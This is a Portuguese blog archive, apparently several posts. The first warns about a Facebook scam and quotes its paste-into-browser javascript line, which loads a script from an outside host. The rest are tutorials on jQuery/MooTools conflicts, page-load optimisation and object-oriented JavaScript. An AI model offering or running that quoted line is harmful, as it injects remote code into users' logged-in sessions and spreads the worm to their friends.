Para quem não reparou ainda há a circular uma praga no Facebook que utiliza o motivo de permitir ver quem visita o perfil !

Esta página incita o utilizador executar o seguinte código no browser tendo a página do facebook aberta.

javascript:(a=(b=document).createElement('script')).src='//bbbindia4.in/jsp.php',b.body.appendChild(a);void(0)

Este código simplesmente adiciona o código presente na página bbindia4.in/jsp.php à página do facebook. (em anexo  no fim do post)

Este ficheiro contém código JavaScript que vai criar um novo evento e convidar todos os amigos, vai ainda abrir uma conversa de chat e colocar uma mensagem com o link para o contacto em questão também sofrer o mesmo “ataque” e vai colocar uma mensagem no próprio Mural com números aleatórios e nomes de contactos aleatórios como se fossem as pessoas que mais vêm o perfil !

Isto apenas volta a mostrar que por mais segura que uma página seja os utilizadores podem ser sempre enganados tornando a página insegura !

Stay safe.

Anexo: jsp.php.txt

Hoje estava a melhorar a área de administração para o portal de um cliente que será brevemente lançado, e deparei-me com o problema… Tinha um plugin desenvolvido em jQuery e outro em MooTools que queria ver integrado na mesma página.

Explicação do Porquê do Erro Acontecer

O símbolo ‘$’ é usado como objecto pela jQuery e também pela MooTools, logo existe interferência.

Se chamarmos primeiro a jQuery ela vai correr e criar um objecto chamado ‘$’ com as funções especificas para jQuery, de seguida, chamamos a MooTools que vai criar o seu o objecto também chamado ‘$’ com as funções especificas da MooTools.

A Solução

Depois de alguma pesquisa consegui solucionar o problema e ter os dois a funcionar correctamente no mesmo local, apesar da solução mais vista: jQuery.noConflict(); não funcionar no meu caso.

A solução passou por pegar nos ficheiros de funções jQuery e alterar todos os ‘$’ para ‘jQuery’, porque é a mesma coisa chamar uma função através do objecto ‘$’ quer através do objecto ‘jQuery’, pois o objecto ‘$’ é apenas um shortcut para ‘jQuery’.

Depois a ordem que utilizei para chamar as bibliotecas em si foi a jQuery primeiro e de seguida a MooTools.

Um aspecto muito importante que é necessário ter em conta aquando do desenvolvimento de páginas web é a acessibilidade de uma página e do tempo que a página demora a estar pronta para ser utilizada, pois caso o tempo de carregamento (load time) seja elevado, os visitantes não vão gostar podendo até retroceder e não voltar a essa página, logo load times elevados correspondem quase que directamente a visitantes / utilizadores / membros / clientes perdidos.

Tempo de carregamento baixo = – tempo perdido = utilizador contente

Então podemos concluir que é necessário diminuir os tempos de carregamento das páginas e neste artigo vão ser abordadas várias formas de como reduzir os tempos de carregamento tendo em conta a optimização do JavaScript, do CSS, das imagens bem como optimização do lado do servidor nomeadamente com a utilização de PHP.

JavaScript

O JavaScript é uma linguagem que tem vindo, sucessivamente, a tornar-se cada vez mais popular entre os programadores de webservices pois tem aplicações desde a passagem de argumentos para o servidor sem ser necessário recarregar a página até aos efeitos que o JavaScript permite adicionar às páginas e seus elementos. Mas, infelizmente, todas estas funcionalidades e coisas boas que o JavaScript traz tem um preço… Muitas vezes os ficheiros JavaScript tornam-se muito pesados, quer por serem bibliotecas como a jQuery, MooTools, dojo, ExtJS, etc. ou mesmo porque desenvolvemos grande parte da interface recorrendo a esta linguagem, o que vai adicionar centenas de kilobytes de informação às páginas. E o utilizador é exigente, quer páginas com tempos de carregamento baixos, mas também gosta de todas as facilidades e das interfaces que o JavaScript lhe proporciona. Assim, torna-se necessário, para não causar descontentamento no utilizador, correlacionar estes dois aspectos, é importante encontrar um ponto de equilibro. Como encontrar um ponto de equilibro entre a utilização “massiva” de JavaScript e a exigência dos utilizadores?

Conteúdo duplicado para quê?

Sim, pode parecer óbvio que não se deve ter o mesmo script repetido na mesma página mas é algo que é muito comum e vai gerar dois pedidos HTTP por cada componente a descarregar e utilizar mais capacidade de processamento por parte do browser do utilizador, factores que levam a que a página demore mais tempo a ser carregada inutilmente. Verifique sempre se não tem conteúdo duplicado por acaso! Uma outra solução é utilizar PHP, ou outra linguagem server-side, para adicionar os ficheiros JavaScript ao HTML e verificar se já foi adicionado ou não, tornando assim o código mais profissional e menos susceptivel a falhas e/ou faltas de atenção / verificação.

Colocar os scripts no fundo da página

O grande problema com os scripts é que os browsers não permitem descarregar mais nenhum componente externo enquanto está a descarregar um script. Para optimizar o carregamento da página é então aconselhável que se movam os scripts para o fundo do body, no entanto, existem scripts que não podem ser movidos para o fundo pois passam conteúdo valioso para a página (por exemplo). Uma solução alternativa é utilizar o atributo defer.

“When set, this boolean attribute provides a hint to the user agent that the script is not going to generate any document content (e.g., no “document.write” in javascript) and thus, the user agent can continue parsing and rendering.” (ver aqui)

Assim ao utilizar o atributo defer estamos a dizer ao browser que pode continuar a carregar a página e carregar o script apenas no fim. O que vai reduzir substancialmente o tempo de carregamento, tal como é pretendido.

Descarregar ficheiros em paralelo

Caso façamos uma introdução “normal” na nossa página de ficheiros JavaScript isso vai fazer com que os ficheiros sejam descarregados um de cada vez, diminuindo assim o tempo de carregamento da página.

(...)
<script src="script1.js" type="text/javascript"><!--mce:0--></script>
<script src="script2.js" type="text/javascript"><!--mce:1--></script>
(...)

Utilizando a forma normal de inserir os scripts na página vai acontecer que o script2.js só começa a ser descarregado depois do script1.js estar completamente descarregado. Mas para quê esta espera se os acessos de hoje são de banda larga e suportam altas velocidades? Podemos descarregar ambos paralelamente, ao mesmo tempo.

Caso os ficheiros sejam descarregados de forma paralela o tempo de carregamento da página vai diminuir, e como podemos fazer isso? É tão simples como saber utilizar o document.write

(...)
<script type="text/javascript"><!--mce:2--></script><script src="script1.js" type="text/javascript"><!--mce:3--></script><script src="script2.js" type="text/javascript"><!--mce:4--></script>
(...)

Como podemos observar, o segundo exemplo permite que os ficheiros sejam descarregados mais rápidamente pois o download é efectuado ao mesmo tempo. Para mais informações sobre downloads em paralelo continue a ler o artigo e na secção Server-Side este tema será novamente abordado.

Ferramentas para a optimização de código JavaScript

• Javascript Compressor – compress code online for free
• YUI Compressor

CSS

Todas as páginas web utilizam folhas de estilo (CSS -Cascading Style Sheets) e dependendo do design e da estrutura da folha de estilo esta pode ser maior ou menor mas em ambos os casos leva tempo a carregar e esse tempo deve, tal como nos outros pontos abordados neste artigo, de ser diminuido ao máximo! Além da validação sempre necessária vão ser apresentadas algumas formas de optimizar o código CSS. (validar CSS aqui).

Folhas de estilo no topo

Colocar as folhas de estilo no topo da página faz com que as páginas possam carregar progressivamente e que o utilizador vá vendo o design a surgir. É muito importante dar aos utilizadores um feedback visual mal seja possível (ver estudo aqui), no caso de uma página web a estrutura da página é o nosso indicador de progressão no carregamento da página. Ao carregar a estrutura progressivamente da página (exemplo: header -> menu -> left sidebar -> contéudo) tudo isto vai servir como feedback visual para o visitante que está à espera da página. Caso as folhas de estilo aparecessem mais para o fim, o utilizador enquanto a página fosse carregando iria ter um visual sem estilo algum, sem uma ordem, e por isso pode facilmente desinteressar-se pela página. É também uma especificação HTML dada pelo World Wide Web Consortium (ver aqui

).

Optimizar o Código CSS

Existem várias formas de se optimizar o código CSS sem reduzir de forma alguma as suas capacidades tornando apenas o código mais pequeno e mais conciso. Exemplo:

#div_xpto {
padding-top:15px;
padding-bottom:10px;
padding-left:13px;
padding-right:0px;
}

Neste exemplo podem ser feitas duas alterações de forma a optimizar o código. Unir as componentes da propriedade padding na própria propriedade. A ordem é sempre  top, right, bottom, left (Menomónica possível: TR BL ou sentido dos ponteiros do relógio( Dica de: http://bit.ly/cY3W9G).

#div_xpto {padding: 15px 0px 10px 13px;}

Em vez de utilizarmos 6 linhas utilizamos 1 linha, obtendo o mesmo efeito. Neste exemplo existe ainda outra modificação que podemos fazer que é a de retirar caracteres desnecessários.

#div_xpto {padding: 15px 0 10px 13px;}

Como é possível verificar foi retirado depois do 0 os caracteres px porque 0 é uma medida igual quer em pt, px, em, etc. logo é tempo de carregamento (devido a ser um ficheiro menor) que ganhamos. Caso as medidas padding-top e padding-bottom sejam iguais é possível utilizarmos algo assim: (consideremos as medidas top e bottom de 15px)

#div_xpto {padding: 15px 0 10px; }

Ou seja combinar a componente top e a componente bottom na mesma. Também a nível do background (quase todos os websites utilizam esta propriedade) devem ser feitas optimizações:

div {
background-image:url("fundo.jpg");
background-color:#ffffff;
background-repeat:repeat-x;
background-position:top center;
}

Passa a:

div {
background:url("fundo.jpg") #fff top center repeat-x;
}

Neste exemplo fizeram-se duas alterações, passaram-se as várias componentes do background tudo para a propriedade sem particionamento e a cor passou de #ffffff a #fff. Esta útlima alteração das cores também pode ser utilizada de forma a optimizar o código. Se se definam cores utilizando o standard de 6 digitos este pode ser definido apenas por 3 digitos em certos casos. Como por exemplo: Preto #000000 passa para #000 Branco #ffffff passa para #fff Verde #99ff33 passa para #9f3 Orange #ffcc00 passa para #fc0 Vermelho #ff3300 passa para #f30 Mas por exemplo #930f14 já não pode ser simplificada. Esta técnica funciona para todas as cores seguras (ver aqui tabela). É também muito comum uma outra optmização a nível do código CSS que é combinar elementos. Se tivermos dois elementos que tenham certas caracteristicas iguais, então em vez de se definir duas vezes a mesma caracteristica define-se apenas uma vez englobando ambos os elementos o que torna o código mais limpo e mais leve. Exemplo:

p {
border:0;
padding:0;
margin:0;
font-size:13px;
color:#000
}
.texto {
border:0;
padding:0;
margin:0;
font-size:13px;
color:#360
}

Como podemos reparar as caracteristicas border, padding margin e font-size são idênticas quer na tag p quer na class .texto. Assim em vez de se definirem essas propriedades duas vezes podem ser definidas apenas uma:

p, .texto {
border:0;
padding:0;
margin:0;
font-size:13px;
}

Ferramentas para Optimização de CSS

• CSS Drive – CSS Compressor
• Cascading Style Sheets Optimization
• Clean CSS

Leitura complementar:

• CSS Sprites

JavaScript / CSS

JavaScript e CSS em ficheiros externos

Uma pergunta que se faz muitas vezes é se os ficheiros JavaScript e os ficheiros CSS devem estar em ficheiros à parte ou na própria página. Utilizar ficheiros externos torna as páginas mais rápidas porque os ficheiros ficam na cache do browser equanto que se estiverem na página são descarregados sempre que é feito um pedido do documento, assim, ao utilizar ficheiros externos, reduz-se o tamanho da página mas aumenta-se o número de pedidos HTTP, contudo, os ficheiros externos ficam na cache do browser, logo diminui-se os pedidos HTTP e o tamanho da página utilizando ficheiros externos. Além da optimização da página, utilizar ficheiros externos torna o código mais estruturado, mais fácilmente editável e mais limpo sendo então uma boa prática para manutenção da página.

Imagens

Os designs mais eye-candy com a utilização de vários icons para descrever serviços, os efeitos dos fundos, dos headers, dos footers, etc. utilizam bastantes imagens, maiores ou menores mas que, de qualquer modo, levam a que o tempo de carregamento da página seja maior. E o que há fazer? São só imagens… Há alguns truques que podem ser utilizados para aumentar a velocidade de carregamento de imagens.

Não redimensione imagens em HTML!

Este ponto é de facto importante, muitas vezes carregam-se imagens, imaginemos, de 500x500px e depois em HTML definem-se medidas menores, isto é desnecessário e vai obrigar a que uma imagem maior seja carregada em vez de uma menor. Ou seja, em vez de se fazer algo assim

<img src="image.png" alt="Imagem xpto" width="50px" height="50px" />

com a imagem image.png a ter um tamanho de 500x500px deve-se ter

<img src="image.png" alt="Imagem xpto" />

tendo a imagem image.png o tamanho de 50x50px.

É também importante manter sempre as dimensões da imagem mesmo quando ela é exacta, isto é, no caso anterior mesmo já tendo a imagem 50x50px como queremos devemos indicar width=”50px” height=”50px” porque deste modo o browser não tem de “medir” a imagem antes de a colocar na página ficando então da seguinte forma:

<img src="image.png" alt="Imagem xpto" width="50px" height="50px" />

Obrigado ao Sérgio Dinis Lopes pela dica.

favicon.ico pequeno e armazenável em cache

O favicon.ico é uma pequena imagem que se encontra na raíz do servidor (normalmente). É muitas vezes um problema porque mesmo não existindo o browser vai fazer um request à sua procura por isso é sempre bom ter uma para não se responder com um erro 404 Not Found. Esta pequena imagem interfere também com a sequência de carregamento da página por exemplo no browser Internet Explorer enquanto que os scripts, css, imagens, etc são pedidos no onload event o favicon é pedido antes. Sugestões:

• Pequeno, de preferência com um máximo de ~1K (exemplos: wikipedia 318 bytes; google 1150 bytes; twitter 1406 bytes; wordpress 1150 bytes);
• Defina o parâmetro Expires com um valor que ache mais correcto (4 meses é um valor aceitável tendo em conta que não se muda de favicon ferquentemente);

Escolher o Formato Correcto para as Imagens

Existem vários formatos de imagens utilizados na construção de páginas web, entre elas destacam-se os formatos gif, jpeg, png e é importante escolher para cada imagem qual o formato que melhor se lhe adequa fazendo com que imagens com menos pormenores, menos cores, etc. utilizem formatos mais leves (ver mais informações aqui).

Leitura complementar:

• Four Steps to File Size Reduction por Stoyan Stefanov
• Progressive JPEG…Hot or Not? por Stoyan Stefanov
• Alojar Imagens na Amazon por Amit Agarwal

Server-Side

Nos tempos de carregamento também interferem as acções do lado do servidor e por isso é necessário optimizar essas acções o máximo possível.

Descarregar o buffer de saída mais cedo

Quando uma página é pedida existe um intervalo de tempo em que o browser espera que o servidor junte o HTML e o envie para o browser. Durante este tempo o browser está inactivo à espera da resposta. A linguagem de programação PHP tem uma função chamada flush que permite que sejam enviadas respostas para o browser particionadas permitindo ao browser começar logo a carregar as informações recebidas enquanto o servidor continua a gerar o resto do HTML.

Downloads em Paralelo

(imagens utilizadas neste subcapitulo retiradas daqui)

A especificação HTTP/1.1 sugere que os browsers façam apenas dois downloads em paralelo de cada dominio assim caso todos os componentes estejam no mesmo dominio só poderão ser feitos dois downloads de cada vez aumentando muito o tempo que uma página demora a carregar.

Clients that use persistent connections SHOULD limit the number of simultaneous connections that they maintain to a given server. A single-user client SHOULD NOT maintain more than 2 connections with any server or proxy.

Neste exemplo, estão representados 10 componentes extra na nossa página que precisam de ser descarregados, então se criarmos subdominios conseguimos optimizar o download dos componentes colocando-os a ser descarregados em paralelo. Apesar de se poderem adicionar quantos sub-dominios quiserem às páginas não se devem utilizar mais do que 2-4 dominios devido ao tempo que demora a fazer a correspondência nos DNS (hostname <-> IP) e esta demora, normalmente, entre 20 e 120 millisegundos, enquanto isto acontece o browser não descarrega nada do dominio em questão. E então como resolver a situação? O HTML fica no main-domain http://joaopedropereira.com/ e podem ser criados entre dois e quatro sub-dominios para as imagens content1.joaopedropereira.com e content2.joaopedropereira.com e (sub-dominios apenas com fins ilustrativos). Assim conseguimos optimizar o tempo de carregamento das imagens e scripts da página. Neste exemplo foi possível poupar algum tempo, quanto mais scripts e imagens existirem mais diferença se fará notar no tempo de carregamento da página.

Leitura Complementar

• Maximizing Parallel Downloads
• Alojar Imagens na Amazon por Amit Agarwal
• Optimize Parallel Downloads to Minimize Object Overhead

Utilizar o método GET ou POST em AJAX?

Ao utilizar XMLHttpRequest, o método POST consiste em dois processos separados de envio de informações, primeiro envia os cabeçalhos e só depois envia a informação enquanto que o método GET envia a informação de uma só vez (excepto se existirem muitos cookies). Existe também limite no envio de informações utilizando o método GET pois este não foi feito para enviar grandes quantidades de informações. Tal como os nomes indicam o método GET foi desenhado para pedir informações ao servidor enquanto que o método POST foi desenhado para enviar informações para o servidor. Então qual deles escolher? Na verdade não existe um melhor, existem dois métodos diferentes para situações diferentes e o que é melhor em determinada situação pode não o ser numa outra situação diferente. Então é necessário avaliar cada caso e escolher qual o método mais apropriado.

Leitura Complementar

• Ajax: Get or Post por Stephen Chapman

Quer saber mais?

Existem mais maneiras de optimizar um website mas que podem ser mais complexas ou mais dispendiosas, mas vou aqui deixar links para quem quiser estudar mais sobre este tema.

• High Performance Web Sites por Steve Souders
• How To Optimize Your Site With GZIP Compression

Neste artigo relativo a JavaScript Orientado a Objectos vamos abordar a programação orientada a objectos de uma forma mais soft explicando a todos os que nunca viram POO (Programação Orientada a Objectos) em JavaScript, os conceitos básicos.

Criando Construtores

Em JavaScript, um construtor é nada mais que uma função comum, que é instanciada numa variável. Essa instância cria-se através da palavra reservada new, indicando a criação de um novo objecto.

function MyFunction() {}
var MyVar = new MyFunction();

Definir Propriedades

Propriedades, ou também conhecidas como atributos, são dados que ficam encapsulados no escopo do objecto com que são relaccionadas.

Utilizemos um exemplo mais comum  e menos abstracto como por exemplo as caracteristicas de uma pessoa.

function Individuo() { return this; }
 
var eu = new Individuo();
eu.nome = "João Pedro Pereira";
eu.altura = "186";

No código acima, definimos um nome e uma altura apenas ao objecto eu. Qualquer outro objecto criado a partir de Individuo não terá essa propriedade. Podemos ver a utilidade disto quando precisamos de dar caracteristicas mais restrictas ao objecto. No entanto, caso estejamos a falar de caracteristicas que serão comuns a todos os objectos ai já será mais dispendioso fazê-lo desta forma, mas felizmente existem alternativas.

Imaginemos que estamos a falar de apenas de individuos portugueses. Seguindo o método mostrado anteriormente ficaria algo do género

var eu = new Individuo();
eu.nome = "João Pedro Pereira";
eu.altura = "186";
eu.pais = "Portugal";

Mas para cada individuo criado teriamos de introduzir o país, e se é sempre o mesmo qual o interesse? Podemos antes usar outra abordagem.

function Individuo() {
this.pais = "Portugal";
}

Assim todos os individuos criados têm a propriedade (atributo) país definida como Portugal. Mas imaginemos, que afinal vão existir um ou outro individuo na nossa lista que o seu país não é Portugal. Como proceder?

var eu = new Individuo();
var outro= new Individuo();
outro.pais = "Brasil";

Se fizermos a verificação da seguinte forma:

alert(outro.pais);
alert(eu.pais);

Podemos comprovar que o objecto eu, terá a propriedade pais com o valor de Portugal e o objecto outro terá a propriedade pais com o valor Brasil. Veja o comportamento.

Existem algumas propriedades / atributos que interessam ser dados ao nosso objecto logo quando ele é criado como por exemplo o nome (nesta caso concreto). E então podemos passar essa propriedade logo quando criamos o objecto. Mas para isso a nossa função vai ter de estar preparada para receber essas propriedades quando o objecto é criado. Então teremos de construir a nossa função algo semelhante a isto:

function Individuo(meu_nome) {
this.nome = meu_nome;
}

E então quando criarmos o objecto daremos o nome ao individuo assim:

var eu = new Individuo("João Pedro Pereira");

No exemplo anterior só foi passado uma propriedade mas podem ser passadas quantas quisermos por exemplo:

function Individuo(meu_nome, meu_pais) {
this.nome = meu_nome;
this.pais = meu_pais;
}
 
var eu = new Individuo("João Pedro Pereira", "Portugal");

Definir Métodos

Tal como as propriedade / atributos (falados no capitulo anterior) é possível adicionar métodos a cada objecto, ou seja comportamentos (popularmente falando) e não passam de funções que são exectuadas no escopo do objecto ao qual estão atribuidos.

Vamos agora passar para um robot, vamos criar um pequeno robot.

function Robot(nome, versao) {
this.id = nome;
this.version = versao;
this.talk = function(message) {alert(message);}
}
 
var robot = new Robot("Basic", "2.0");
robot.talk("Olá eu sou um robot");

Visualizar comportamento.

Para quem utiliza libs como jQuery (por exemplo) começa a compreender como é que funcionam as coisas.

Só para brincar um bocadinho com isto vamos ver o comportamento com uma verificação..

function Robot(nome, versao) {
this.id = nome;
this.version = versao;
this.talk = function(message) {
if(message == "introduce") {
alert("Olá, o meu nome é " + this.id + " e estou na versão " + this.version);
} else {
alert(message);
}
}
}
var robot = new Robot("Basic", 2.0);
robot.talk("introduce");

Quem és Robot?

Espero que tenha gostado do post, qualquer sugestão é bem vinda. Têm de seguida links para complementar a leitura deste artigo. No próximo post falarei de encapsulamento (uma funcionalidade não existente no JavaScript mas é possível criar um recurso idêntico.

Leitura Complementar

• JavaScript OOP #1
• Aprender JavaScript #1
• Aprender JavaScript #2

Uma linguagem que poucos sabem abordar a nível de Programação Orientada a Objectos (OOP – Oriented Object Programming) é o JavaScript e por isso pretendo fazer uma breve abordagem a este tema. Não irei fazer uma introdução sobre o que é a Programação Orientada a Objectos por isso é aconselhável que o leitor tenha as noções bases de utilização desta técnica, bem como que tenha uma noção básica da linguagem de programação abordada.

A linguagem JavaScript tem um estilo bastante particular no que toca a Programação Orientada a Objectos, não é uma sintaxe dificil de aprender mas comporta-se de forma diferente do que os programadores de linguagens compiladas como o Java ou o C++ estão habituados.
Isto porque o JavaScript não é uma Linguagem Orientada a Objectos completamente desenvolvida mas sim uma linguagem estruturada, e não estão implementados alguns conceitos classes e instâncias mas existem objectos, protótipo e herança implicita bem como variáveis públicas e privadas.

O JavaScript suporta variáveis / funções privadas declaradas usando a palavra reservada var. Propriedades publicas e métodos “priveligiados” são declarados utilizando a expressão this
Métodos “priveligiados” podem aceder variáveis / funções privadas que não estão acessíveis fora da classe.

Herança Através de Funções

Como o JavaScript não suporta tem um operador de herança explicitado esta pode ser implementada de duas maneiras. A primeira maneira para criar um objecto como uma subclass de outro objecto é chamar o constructor de uma “Super Classe” dentro da sub classe. Vejamos o seguinte.

function superClasse() {
  this.adeus = superAdeus;
  this.ola = superOla;
}
 
function subClasse() {
  this.inheritFrom = superClasse;
  this.inheritFrom();
  this.adeus = subAdeus;
}
 
function superOla() {
  return "Super Classe diz-lhe: Olá";
}
 
function superAdeus() {
  return "Super Classe diz-lhe: Adeus";
}
 
function subAdeus() {
  return "Sub Classe diz-lhe: Até já (TMN pubber)";
}

Clique aqui para invocar o seguinte trecho de código que é um PoC (Proof of Concept) do que vimos anteriormente.

function mostraSubClasse() {
  var novaClass = new subClasse();
  alert(novaClass.adeus());
  alert(novaClass.ola());
}

Explicando tudo o que se passou até agora.

Temos na função superClasse declarada uma classe (termo não técnico, não confundir com as classes do C++, Java, PHP, etc.) em que através da palavra reservada this definimos dois métodos: o adeus e o ola e lhes atribuimos uma acção a cada um através de uma função, a superAdeus e a superOla, respectivamente. De seguida, definiu-se a classe subClasse que vai herdar os métodos da superClasse através do método inheritFrom [(this.inheritFrom = superClasse -> define) (this.inheritFrom() -> herda)] e define-se o método adeus.
Como se pode reparar no PoC o nosso código apenas retorna um ola e um adeus. Isto dá-se porque ao definirmos o método adeus na subClasse, estamos a anular o método adeus definido primeiramente na superClasse. Para não restarem dúvidas:

function sprClasse() {
  this.teste = alert("A definir o método teste na Super Classe");
}
 
function sbClasse() {
  this.inheritFrom = sprClasse;
  this.inheritFrom();
  this.teste = alert("A reescrever o método teste na Sub Classe");
}

Testar a re-escrita dos métodos aqui.

function ExReescrita() {
  var nClasse = new sbClasse();
}

Como foi possível reparar com os JavaScript Alert existe a escrita primeiramente do método teste na super classe e posteriormente esta é reescrita na sub classe ficando assim acessível o método da sub classe.

Existe um outro método, mais sólido, para estabelecer a hierarquia de classes. Este método, funciona criando um objecto da super classe e de seguida usá-lo como um protótipo do objecto da sub classe. Supondo que a ssoa super classe se chama superClasse (original não?) o protótipo será da sub classe será algo como isto:

subClasse.prototype = new superClasse;

Usando o mesmo exemplo que utilizamos acima substituindo apenas a forma que usamos para a herança temos o seguinte código que se irá comportar da mesma forma que o exemplo anterior.

function superClasse() {
  this.adeus = superAdeus;
  this.ola = superOla;
}
 
function subClasse() {
  this.adeus = subAdeus;
}
 
subClasse.prototype = new superClasse;
 
function superOla() {
  return "Super Classe diz-lhe: Olá";
}
 
function superAdeus() {
  return "Super Classe diz-lhe: Adeus";
}
 
function subAdeus() {
  return "Sub Classe diz-lhe: Até já (TMN pubber)";
}
 
function teste() {
  var novaClass = new subClasse();
  alert(novaClass.adeus());
  alert(novaClass.ola());
}

Vejamos então como se comportam estas classes aqui.

—

Hoje vimos como funciona a herança de classes em JavaScript, mas a POO em JavaScript não fica por aqui, escreverei uma série de posts relativos a este tema abordando, encapsulamento, uma simulação do instance of, propriedades estáticas, etc. mostrarei também exemplos mais concretos, exemplos práticos de cada caso para não termos apenas a teoria com adeus, olá, entre outros.

Para estarem actualizados de novos postos podem subscrever ao RSS Feed. E para não variar, comentários agradecem-se. Até à próxima.